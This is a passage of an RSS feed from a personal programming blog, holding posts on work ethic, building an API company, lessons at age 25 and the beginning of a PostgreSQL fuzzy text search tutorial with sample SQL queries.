&lt;li>If the element can&amp;rsquo;t be found, &lt;code>None&lt;/code> is returned.&lt;/li>
&lt;li>If the element can be found, then we&amp;rsquo;ll use the &lt;code>.text&lt;/code> property on our
element object to grab the data out of the desired XML element.&lt;/li>
&lt;/ul>
&lt;p>All in all, not so bad!&lt;/p>
&lt;p>The next time you&amp;rsquo;re looking to quickly extract some data out of an XML
document, give it a try!&lt;/p>
&lt;p>Got a better method? &lt;a href="mailto:r@rdegges.com" title="Randall Degges' Email">Drop me a line&lt;/a>.&lt;/p></description></item><item><title>How Hard Can You Work?</title><link>https://rdegges.com/2013/how-hard-can-you-work/</link><pubDate>Thu, 18 Jul 2013 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2013/how-hard-can-you-work/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2013/how-hard-can-you-work/shark-sketch.jpg" alt="Shark Sketch" title="Shark Sketch">
&lt;/p>
&lt;p>Lately I&amp;rsquo;ve been rereading one of my favorite books of all time:
&lt;a href="http://www.amazon.com/gp/product/1934356344/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=1934356344&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="The Passionate Programmer">The Passionate Programmer&lt;/a>. While every page of this book contains an
important lesson, I wanted to write about a particular one today.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: If you had to pick one book to read to become a better programmer (and
person), &lt;a href="http://www.amazon.com/gp/product/1934356344/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=1934356344&amp;amp;linkCode=as2&amp;amp;tag=rdegges-20" title="The Passionate Programmer">The Passionate Programmer&lt;/a> would be my recommendation. Every
programmer should own a copy &amp;ndash; it&amp;rsquo;s that good &amp;ndash; seriously.&lt;/p>
&lt;p>Anyhow, onto the story.&lt;/p>
&lt;p>I&amp;rsquo;ve been writing code since I was a kid. When I first got started, I had zero
knowledge, and everything I learned was exciting and new.&lt;/p>
&lt;p>As I&amp;rsquo;ve continued writing code and developing as a programmer over the past 13
years, I&amp;rsquo;ve had the opportunity to play with lots of different technologies,
learn new methodologies, and practice building lots of different tools.&lt;/p>
&lt;p>It seems that over time, as I&amp;rsquo;ve learned new things, I&amp;rsquo;ve also become more and
more &lt;em>elitist&lt;/em> when it comes to what I&amp;rsquo;m working on. What I mean by this is
that instead of being content working on a simple project, I tend to quickly
rush my work when I&amp;rsquo;m finishing simple things, and instead focus all my &lt;em>real
effort&lt;/em> on building parts of systems that I find interesting.&lt;/p>
&lt;p>This has led to a bunch of problems:&lt;/p>
&lt;ul>
&lt;li>I feel frustrated and annoyed that I have to work on &lt;em>simple problems&lt;/em> in my
projects.&lt;/li>
&lt;li>I rush my work when doing simple tasks, leading to lots of bugs and poor
quality code.&lt;/li>
&lt;li>I spend an inordinate amount of time working on a single part of a project
(the core, complex part) and pay much less attention to polish and other
important user-facing project components as they don&amp;rsquo;t seem all that
interesting technically.&lt;/li>
&lt;li>I end up losing interest in projects after getting the core functionality
built, which leads to project decay and rot.&lt;/li>
&lt;/ul>
&lt;p>Obviously, the above are pretty bad. I&amp;rsquo;ve spoken with lots of programmer
friends about this as well, and it seems that I&amp;rsquo;m not the only one who has this
problem.&lt;/p>
&lt;p>Everyone I&amp;rsquo;ve spoken to about this (without exception) has had the same
experience after their first few years developing software &amp;ndash; it almost seems
natural that once you&amp;rsquo;ve learned something, it&amp;rsquo;s just &lt;em>not that interesting&lt;/em>
anymore and it becomes a chore to continue doing the same sorts of things over
and over again.&lt;/p>
&lt;p>But, even though it may be natural to become a bit of a &lt;em>software snob&lt;/em>, it&amp;rsquo;s
definitely a problem that each programmer needs to tackle if they want to
continue making progress in this field &amp;ndash; programming isn&amp;rsquo;t a field where you
can selectively pick and choose what you work on all the time, it&amp;rsquo;s just not
possible.&lt;/p>
&lt;p>Every project is going to require code to be written, and not all of that code
will be the most interesting thing in the world &amp;ndash; so if you&amp;rsquo;d like to continue
to up your skill set and deliver good products, you need to take a different
approach to your work once you&amp;rsquo;ve hit this roadblock.&lt;/p>
&lt;p>This is where a mindset shift becomes necessary.&lt;/p>
&lt;p>If you&amp;rsquo;re experiencing any of the above problems, there is really only one good
solution. You&amp;rsquo;ve got to ask yourself: &lt;strong>How hard can I work?&lt;/strong>&lt;/p>
&lt;p>The trick is to make your work a game. The next time you need to build out a
simple part of a project, instead of feeling annoyed that you have to do it and
rushing your work, instead treat it as a personal challenge: &lt;em>how good can I
possibly do this?&lt;/em>&lt;/p>
&lt;p>This is a great way to keep yourself motivated for the task at hand, and allow
you to increase your skill set by giving even the simplest of tasks 100% of your
development effort.&lt;/p>
&lt;p>Here are some simple things you can do to really challenge yourself regardless
of the complexity of a project, and ensure that you&amp;rsquo;re not going to frustrate
yourself and do a poor job.&lt;/p>
&lt;p>&lt;strong>Draw sketches of your project&amp;rsquo;s functionality and architecture before getting
started.&lt;/strong> Go into detail and make sure you&amp;rsquo;ve laid things out in the most
optimal way possible. This is a great way to ensure your systems will be
scalable and fault-tolerant &amp;ndash; and also forces you to think of the best possible
way to build your project.&lt;/p>
&lt;p>&lt;strong>Try writing 100% test driven code.&lt;/strong> This is a great way to improve your TDD
chops, improve your internal APIs, and verify you&amp;rsquo;ve got no bugs in your code.
A good test suite also serves as great documentation for any future developers
looking at your code, and will earn you a great reputation among your peers.&lt;/p>
&lt;p>&lt;strong>Automate testing and deployment.&lt;/strong> I find that a lot of the time, for simple
or basic tasks, I tend to do a lot of one-off process runs without putting much
thought into deployment and automation. By automating your testing and
deployment (even for simple tasks) you&amp;rsquo;ll work out any kinks in your
bootstrapping process, documentation, and re-usability. This will also save you
(and your teammates) a lot of time in the long run, by avoiding any manual
intervention.&lt;/p>
&lt;p>&lt;strong>Write great project documentation.&lt;/strong> This is especially true for internal
projects, where you know that not many people will be looking at your code in
the future. By forcing yourself to write great documentation you&amp;rsquo;ll not only
make your code more useful in the future, but you&amp;rsquo;ll make maintenance easier,
and have something nice to show any higher ups who are wondering what you&amp;rsquo;re
working on. Writing great documentation also gives you a chance to think of
your code like a user would &amp;ndash; and improve your communication skills by clearly
and simply describing what your code does, and how to use it. I&amp;rsquo;ve found that
many times, writing project documentation gives me a whole new perspective on my
project and helps me identify things I can do to simplify functionality,
usability, etc.&lt;/p>
&lt;p>&lt;strong>Track execution metrics and stats.&lt;/strong> If the project you&amp;rsquo;re working on
involves anything that has business value, you should consider hooking your
code up to a dashboard type service which aggregates important metrics (I like
&lt;a href="http://ducksboard.com/" title="Ducksboard">Ducksboard&lt;/a>). This can give you (and any other stakeholders) insight into
how well things are running, how much value your code is delivering, and how
much your project is being used. Other than being a great motivator (&lt;em>who
doesn&amp;rsquo;t like seeing the fruits of their efforts?&lt;/em>) it&amp;rsquo;s also a great way to
increase your skill as a developer and strategic leader by carefully monitoring
your development work.&lt;/p>
&lt;p>I&amp;rsquo;ve found that by practicing the above strategies and asking myself, &lt;strong>How hard
can I possibly work on this?&lt;/strong>, I&amp;rsquo;ve come to enjoy even the simplest of tasks
and dramatically improve not only my day-to-day happiness when working on
projects &amp;ndash; but also deliver more value with my work and greatly improve my
skill set, one day at a time.&lt;/p>
&lt;p>The next time you&amp;rsquo;re working on a project and feel frustrated that you have to
do some simple work, really push yourself to see &lt;em>how good of a job you can do&lt;/em>,
and make a difference.&lt;/p></description></item><item><title>Building an API Company - A Series</title><link>https://rdegges.com/2013/building-an-api-company-a-series/</link><pubDate>Sat, 29 Jun 2013 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2013/building-an-api-company-a-series/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2013/building-an-api-company-a-series/bridge-sketch.jpg" alt="Bridge Sketch" title="Bridge Sketch">
&lt;/p>
&lt;p>In this article series, I&amp;rsquo;m going to show you how to build an API company from
the ground up, step-by-step.&lt;/p>
&lt;p>I&amp;rsquo;ll be covering the entire process (in depth), so if you&amp;rsquo;re a programmer who&amp;rsquo;s
always wanted to build their own company, now is your chance to stop thinking
about it and start &lt;em>doing it&lt;/em>! No more excuses!&lt;/p>
&lt;h2 id="intended-audience">Intended Audience&lt;/h2>
&lt;p>I really love web APIs. Unfortunately, due to the complexities involved in
making web technologies, this article series isn&amp;rsquo;t for everyone.&lt;/p>
&lt;p>To get the most out of this series, you&amp;rsquo;ll need to:&lt;/p>
&lt;ul>
&lt;li>Be a programmer.&lt;/li>
&lt;li>Be familiar with web technologies (primarily server-side stuff).&lt;/li>
&lt;li>Want to build your own web company.&lt;/li>
&lt;li>Be willing to follow along with the series and do a lot of work (&lt;em>no
excuses&lt;/em>).&lt;/li>
&lt;/ul>
&lt;p>Most importantly, this series is meant for people who want to do something
awesome. If you&amp;rsquo;re looking for a new way to challenge yourself, expand your
skill sets, and have fun along the way &amp;ndash; you&amp;rsquo;ll enjoy the shit out of this
program, and I promise you&amp;rsquo;ll be successful.&lt;/p>
&lt;h2 id="goals">Goals&lt;/h2>
&lt;p>I&amp;rsquo;m writing this series for a few reasons. First off, I&amp;rsquo;ve built several API
companies from the ground up. The information in this series is the sort of
thing I wish I had back when I got started. It&amp;rsquo;s not marketing fluff, and it&amp;rsquo;s
not purely technical talk: it&amp;rsquo;s a practical guide to building your own API
company as a programmer, with little to no outside help.&lt;/p>
&lt;p>Through my experience building web API companies, I&amp;rsquo;ve tried a lot of things.
I&amp;rsquo;ve done some things right, and some things wrong. I&amp;rsquo;ve also made a ton of
mistakes along the way. By walking you through each step along the way, and
explaining the reasoning behind decisions, you&amp;rsquo;ll see the good &lt;em>and&lt;/em> the bad.
This way you can learn from my successes and failures, and avoid the mistakes
I&amp;rsquo;ve made.&lt;/p>
&lt;p>The main goal for this series is to help you build a successful API company. By
the end of this series you should have:&lt;/p>
&lt;ul>
&lt;li>A solid understanding of what you need to do to build a successful API
company.&lt;/li>
&lt;li>A launched product.&lt;/li>
&lt;li>Your first hundred or so users.&lt;/li>
&lt;li>Ramen profitability.&lt;/li>
&lt;li>Motivation to keep moving forward.&lt;/li>
&lt;/ul>
&lt;p>No matter what anyone tells you, building a company is &lt;em>hard work&lt;/em>. If you want
to be successful, you need help, motivation, and support. No matter what stage
you&amp;rsquo;re at, I&amp;rsquo;m here to help you 100%. If you need advice, have questions, or
just want someone to talk to, feel free to &lt;a href="mailto:r@rdegges.com" title="Randall Degges' Email">shoot me an email&lt;/a> anytime, so I
can help out.&lt;/p>
&lt;h2 id="why-api-companies-are-awesome">Why API Companies Are Awesome&lt;/h2>
&lt;p>Why should you build an API company in the first place, anyhow? Why not make a
social network? Why not make an e-commerce site? Why not do consulting?&lt;/p>
&lt;h3 id="youre-a-coder">You&amp;rsquo;re a Coder&lt;/h3>
&lt;p>One of the main reasons &lt;strong>YOU&lt;/strong> should be building an API company is that &lt;em>you
are a programmer&lt;/em>! All businesses exist to serve customers &amp;ndash; that means that if
your company sells medical supplies, you should probably be very familiar with
the medical businesses: you should know doctors, know how they work, know what
they need, know what problems they have, know how much money they have to spend,
etc.&lt;/p>
&lt;p>One of the most important rules of business is to &lt;em>know your customer&lt;/em>. If your
customers enjoy and love your product, then they&amp;rsquo;ll be happy to keep giving you
their business. It&amp;rsquo;s a win-win situation.&lt;/p>
&lt;p>&amp;hellip; Which leads me to my next point &amp;hellip;&lt;/p>
&lt;p>Since you are a programmer, and APIs are meant to be consumed by other
programmers, then it leads to reason that by building an API company, you are
building a product for people like yourself &amp;ndash; which means you &lt;em>already know
your customer&lt;/em>.&lt;/p>
&lt;p>This is a huge advantage to you because you &lt;em>already know&lt;/em> and understand what
your customers want, what they like, what they don&amp;rsquo;t like, and how to win them
over.&lt;/p>
&lt;p>This is especially important for us, as we&amp;rsquo;re going to be building this company
ourselves (without outside help) &amp;ndash; so every little advantage helps! By
skipping the whole customer validation process, you&amp;rsquo;ll save lots of time and
energy &amp;ndash; and you&amp;rsquo;ll be able to make progress a lot quicker than you could
otherwise.&lt;/p>
&lt;h3 id="you-can-automate">You can Automate&lt;/h3>
&lt;p>Another reason API companies can be great is that you don&amp;rsquo;t need a big team.
You don&amp;rsquo;t need a ton of employees, you don&amp;rsquo;t need a lot of marketers, you really
only need yourself.&lt;/p>
&lt;p>How is this possible? Automation.&lt;/p>
&lt;p>There are lots of businesses where automation just won&amp;rsquo;t work: selling cars,
selling refrigerators, doing laundry, etc. With an API company, you can
automate almost 100% of your business, freeing up your time to work on other
things.&lt;/p>
&lt;p>This means that after you&amp;rsquo;ve built your initial product, you can automate time
consuming tasks like:&lt;/p>
&lt;ul>
&lt;li>Scaling your web service to support customer demand.&lt;/li>
&lt;li>Billing.&lt;/li>
&lt;li>Marketing (more on this later).&lt;/li>
&lt;li>Handling discounts.&lt;/li>
&lt;li>Recovery from problems (databases dying, servers disappearing).&lt;/li>
&lt;li>Taxes.&lt;/li>
&lt;/ul>
&lt;p>This means that it&amp;rsquo;s possible to build, run, and grow your API company on
your free time, while still being able to keep up with other commitments: work,
family, friends, etc.&lt;/p>
&lt;p>Despite what you may hear, you can build a successful web company without
killing yourself by being smart and &lt;em>ruthlessly automating everything&lt;/em>.&lt;/p>
&lt;h3 id="youre-saving-time">You&amp;rsquo;re Saving Time&lt;/h3>
&lt;p>Another (more motivational) reason to build an API company is that you&amp;rsquo;re doing
something awesome: your core product is making people&amp;rsquo;s lives dramatically
simpler.&lt;/p>
&lt;p>Most APIs are great because they take something complicated (making phone calls,
for instance), and transform it into into something elegant and simple (e.g.
&lt;a href="http://www.twilio.com/" title="Twilio">Twilio&lt;/a>). This is amazing because you&amp;rsquo;re essentially abstracting away the
ugly pieces of technology necessary to make something awesome happen, and
condensing it down into a simplified form that people can make better use of.&lt;/p>
&lt;p>Not only will building a simple API help your customers do complicated things
that were hard (or impossible) before &amp;ndash; but these are fun problems to solve!
You get to build something that will save you (and many other people like you) a
lot of collective time &amp;ndash; you&amp;rsquo;re making the world a bit more efficient!&lt;/p>
&lt;p>In the case of Twilio, before they came around how many developers were spending
their time slaving away writing &lt;a href="http://www.asterisk.org/" title="Asterisk">Asterisk&lt;/a> and &lt;a href="http://freeswitch.org/" title="Freeswitch">Freeswitch&lt;/a> code? How much
collective time was spent writing the same dull routines over and over again?
By automating tasks like these, you&amp;rsquo;re saving people from a world of boredom and
repetition.&lt;/p>
&lt;p>What&amp;rsquo;s not to love about that?&lt;/p>
&lt;h2 id="you-in">You In?&lt;/h2>
&lt;p>So, what do you think? Want to build an API company, improve your skill set,
and have some fun?&lt;/p>
&lt;p>Over the next few months I&amp;rsquo;ll be publishing the next articles in the series &amp;ndash;
each piece will give you a lot to think about and work on, so you&amp;rsquo;ll have
homework.&lt;/p>
&lt;p>As we go along, try to get involved! Write about your experiences, get your
friends to build their own API company as well, and talk to as many people as
you can. I can tell you from experience that one of the most effective ways to
get shit done is to stay motivated &amp;ndash; so do whatever you need to do to keep
yourself involved!&lt;/p>
&lt;p>Lastly, if you&amp;rsquo;d like to get in touch with me, or would like to get
announcements of when new articles in the series are added, you can keep up with
me via:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="mailto:r@rdegges.com" title="Randall Degges' Email">Email&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://twitter.com/rdegges" title="Randall Degges on Twitter">Twitter&lt;/a>&lt;/li>
&lt;li>&lt;a href="http://www.rdegges.com/feeds/atom.xml" title="Randall Degges' RSS Feed">RSS&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>&lt;em>Let&amp;rsquo;s do this!&lt;/em>&lt;/p></description></item><item><title>Twenty Five</title><link>https://rdegges.com/2013/twenty-five/</link><pubDate>Fri, 28 Jun 2013 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2013/twenty-five/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2013/twenty-five/reaper-sketch.jpg" alt="Reaper Sketch" title="Reaper Sketch">
&lt;/p>
&lt;p>Today is my 25th birthday. I promise you I won&amp;rsquo;t bore you with the details of
what I&amp;rsquo;m doing for my birthday, but I did want to spend a few minutes and write
about some of the things I&amp;rsquo;ve learned in my first 25 years of life.&lt;/p>
&lt;p>Every person will live life in their own way, so don&amp;rsquo;t take my experiences as
your own &amp;ndash; make your own decisions, and do what makes you happy.&lt;/p>
&lt;h2 id="be-understanding">Be Understanding&lt;/h2>
&lt;p>Every single person is different in some way. Each person was born into some
circumstances out of their control, and their life experiences shaped them into
who they are. This means that no matter how &lt;em>you&lt;/em> see the world &amp;ndash; what you
think is right, what you think is wrong, what you like, what you don&amp;rsquo;t like &amp;ndash;
other people will see things differently, and there&amp;rsquo;s no changing that.&lt;/p>
&lt;p>Given that everyone lives in their own little world, you should be understanding
and compassionate towards others. If someone does something rude to you, don&amp;rsquo;t
feel offended &amp;ndash; just realize that each person is who they are, and try to
accept them the way they are.&lt;/p>
&lt;p>There&amp;rsquo;s no point in trying to change people or convince them to act a certain
way. If people want to change, they&amp;rsquo;ll do it of their own accord. So be
understanding.&lt;/p>
&lt;h2 id="dont-waste-your-time-on-people-you-dont-like">Don&amp;rsquo;t Waste Your Time On People You Don&amp;rsquo;t Like&lt;/h2>
&lt;p>If you don&amp;rsquo;t like someone, end the relationship quickly. Whether it&amp;rsquo;s a
business partner, a friend, a stranger, an acquaintance, whatever &amp;ndash; if you
don&amp;rsquo;t like the person, don&amp;rsquo;t spend time with them!&lt;/p>
&lt;p>I can&amp;rsquo;t tell you how many times I&amp;rsquo;ve let relationships drag on for far too long,
allowing them to suck away my energy and drain my happiness, and for what? To
make the other person comfortable? To make them like me? To avoid an
uncomfortable situation? It&amp;rsquo;s just not worth it. Life is way too short.&lt;/p>
&lt;p>If you can tell you don&amp;rsquo;t like someone, make an immediate decision to exit that
relationship. This will not only free up your time, but will save you from a
lifetime of stress and unhappiness.&lt;/p>
&lt;h2 id="trust-your-instinct">Trust Your Instinct&lt;/h2>
&lt;p>There have been many occasions where I&amp;rsquo;ll be doing something (working, speaking
with someone, etc.) and get a tingling feeling in my stomach. I then start
feeling nervous.&lt;/p>
&lt;p>I&amp;rsquo;ve come to realize that this specific feeling is my instinct telling me that
whatever is about to happen, it isn&amp;rsquo;t good. Unfortunately, I&amp;rsquo;ve only recently
learned this.&lt;/p>
&lt;p>Don&amp;rsquo;t make the same mistakes as me. If your instinct is telling you something
bad is going to happen, listen. Don&amp;rsquo;t work on projects you know will fail,
don&amp;rsquo;t work on things you don&amp;rsquo;t believe in, and don&amp;rsquo;t allow other people to push
you into accepting things you don&amp;rsquo;t want to accept.&lt;/p>
&lt;h2 id="read-personal-development-books">Read Personal Development Books&lt;/h2>
&lt;p>One of the best ways you can improve yourself is to be conscious of your
thoughts and actions. While it may sound cheesy, reading personal development
books is a great way to make you think about yourself in different ways, and
encourage you to become a better person.&lt;/p>
&lt;p>It doesn&amp;rsquo;t matter what you start with, just that you start. Pick up a book on
meditation, a book on happiness, a book on organization, a book on
procrastination, and a book talent (to start). Read them through, and think
about how you can change yourself to make yourself better in each of those
areas.&lt;/p>
&lt;h2 id="dont-listen-to-other-people">Don&amp;rsquo;t Listen to Other People&lt;/h2>
&lt;p>Instead of listening to someone&amp;rsquo;s words, observe their actions. Everyone loves
to talk about things, but very few people like to do things.&lt;/p>
&lt;p>Finding genuinely amazing people can be hard if you only listen to a person &amp;ndash;
by observing their actions, you can see their greatness.&lt;/p>
&lt;p>This is an incredibly hard thing to do, but it pays off substantially. If you
befriend great people who do things (as opposed to just talking about them), do
whatever it takes to hold onto those relationships &amp;ndash; those are the type of
people you want to make long term connections with.&lt;/p>
&lt;h2 id="if-youre-going-to-do-something-do-it-all-the-way">If You&amp;rsquo;re Going to Do Something, Do It All the Way&lt;/h2>
&lt;p>It&amp;rsquo;s really easy to half-ass things. Whether it&amp;rsquo;s working out at the gym,
dieting, finishing your project, helping your user, whatever.&lt;/p>
&lt;p>There are always a million little voices inside your head saying &lt;em>&amp;ldquo;You&amp;rsquo;ve done
good so far, you deserve a rest! Stop working on this!&amp;rdquo;&lt;/em> It&amp;rsquo;s really easy to
have pity on yourself and do a lousy job.&lt;/p>
&lt;p>There&amp;rsquo;s always one voice that says to &lt;em>keep going&lt;/em>. Listen to that voice.&lt;/p>
&lt;p>If you work hard at things, you&amp;rsquo;ll feel happier with the outcome, and you won&amp;rsquo;t
have any regrets.&lt;/p>
&lt;h2 id="character-isnt-built-from-success">Character Isn&amp;rsquo;t Built From Success&lt;/h2>
&lt;p>You are never going to become the man you want to be if you constantly succeed
at things. Character isn&amp;rsquo;t built from success, it&amp;rsquo;s built from failure.
Character is made when your back is up against the wall, you&amp;rsquo;re pressured, and
you&amp;rsquo;ve got to make a decision.&lt;/p>
&lt;p>The choices you make directly effect the person you are &amp;ndash; make the right
choices. And don&amp;rsquo;t be afraid to take risks.&lt;/p>
&lt;h2 id="accept-reality">Accept Reality&lt;/h2>
&lt;p>Unhappiness is derived from expectations.&lt;/p>
&lt;p>If you expect other people to let you merge into the next lane over, you&amp;rsquo;ll be
unhappy when the guy next to you speeds up to prevent you from getting over.&lt;/p>
&lt;p>The solution here (of course), is simple: accept things as they are &amp;ndash; don&amp;rsquo;t
create an alternate reality and expect things to work exactly the way you want
them to. Life is chaotic &amp;ndash; things won&amp;rsquo;t always turn out according to your
expectations.&lt;/p>
&lt;p>If you want to be happy, then you have to work at it. Let go of your
expectations, and embrace things the way they are. The only thing you can
really control in this world is yourself. Make good decisions, live your life
the way you want, and be accepting of outside influences that you can&amp;rsquo;t control.
This is the key to happiness.&lt;/p>
&lt;h2 id="keep-your-promises">Keep Your Promises&lt;/h2>
&lt;p>If you make a promise, keep it. Make it a point to always do things you say
you&amp;rsquo;re going to do, and people will (over time) learn to respect you.&lt;/p>
&lt;p>This is a lot easier said than done.&lt;/p>
&lt;p>Before you say you&amp;rsquo;ll do something, think very carefully about what you&amp;rsquo;re
committing to. Try to be very picky about what you say you&amp;rsquo;ll do, and always
deliver.&lt;/p>
&lt;h2 id="final-thoughts">Final Thoughts&lt;/h2>
&lt;p>I spend a lot of time thinking about how to better myself. Over time, I&amp;rsquo;ve come
to realize that the real fun in living is constantly improving yourself.&lt;/p>
&lt;p>When I&amp;rsquo;m not actively working to improve myself, I just don&amp;rsquo;t feel happy. To
me, the momentum of moving forward each day is what drives me to continue
living, working, and enjoying my life.&lt;/p>
&lt;p>Over the next 25 years I&amp;rsquo;d like to keep moving forward: be healthier, happier,
more compassionate, smarter, and more open minded.&lt;/p>
&lt;p>Life is a crazy journey, but I&amp;rsquo;m enjoying it so far :)&lt;/p></description></item><item><title>Easy Fuzzy Text Searching With PostgreSQL</title><link>https://rdegges.com/2013/easy-fuzzy-text-searching-with-postgresql/</link><pubDate>Wed, 12 Jun 2013 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2013/easy-fuzzy-text-searching-with-postgresql/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2013/easy-fuzzy-text-searching-with-postgresql/monster-in-disguise-sketch.jpg" alt="Monster in Disguise Sketch" title="Monster in Disguise Sketch">
&lt;/p>
&lt;p>I&amp;rsquo;ve been using PostgreSQL for the past few years as my primary database of
choice. I figured I&amp;rsquo;d take a moment to write about one of the coolest features
I use on a daily basis, that you may find interesting (if you&amp;rsquo;re not already
using it).&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: I use &lt;a href="https://postgres.heroku.com/" title="Heroku Postgres">Heroku Postgres&lt;/a> to host all my PostgreSQL instances &amp;ndash; so
these instructions will work for you if you&amp;rsquo;re using Heroku Postgres. If you&amp;rsquo;re
not, your mileage may vary (depending on your server setup).&lt;/p>
&lt;h2 id="fuzzy-text-searching">Fuzzy Text Searching&lt;/h2>
&lt;p>Fuzzy text searching is &lt;em>fucking awesome&lt;/em>. Let&amp;rsquo;s say you&amp;rsquo;ve got a table in your
database that contains a list of people and their names, for example:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="n">d51job1rstb2g&lt;/span>&lt;span class="o">=&amp;gt;&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">first_name&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">FROM&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">people&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">WHERE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">first_name&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">LIKE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s1">&amp;#39;Gar%&amp;#39;&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">LIMIT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">9&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">first_name&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="c1">------------
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">Gary&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">Gary&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">Gary&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">Garden&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">Gary&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">Gary&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">Garfield&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">Gar&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">Gary&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">9&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">rows&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now, let&amp;rsquo;s say you now want to grab everyone whose name is similar to &lt;code>Gary&lt;/code>.
This could be tricky to do unless you have fuzzy text searching available in
your database &amp;ndash; right?&lt;/p>
&lt;p>There&amp;rsquo;s no built in way to tell your database &lt;em>&amp;ldquo;Hey! Give me a list of all the
people whose first name is similar to &amp;lsquo;Gary&amp;rsquo;&amp;rdquo;&lt;/em>.&lt;/p>
&lt;p>This is where fuzzy text searching rocks &amp;ndash; it does the similarity matches for
you, so that you can tell your database something like the above.&lt;/p>
&lt;p>It&amp;rsquo;d be ideal if we could do something like:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sql" data-lang="sql">&lt;span class="line">&lt;span class="cl">&lt;span class="n">d51job1rstb2g&lt;/span>&lt;span class="o">=&amp;gt;&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">SELECT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">first_name&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">FROM&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">people&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">WHERE&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">first_name&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="o">%&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="s1">&amp;#39;Gary&amp;#39;&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="k">LIMIT&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="mi">10&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">first_name&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="c1">------------
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">Gary&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">Gary&lt;/span>&lt;span class="w">
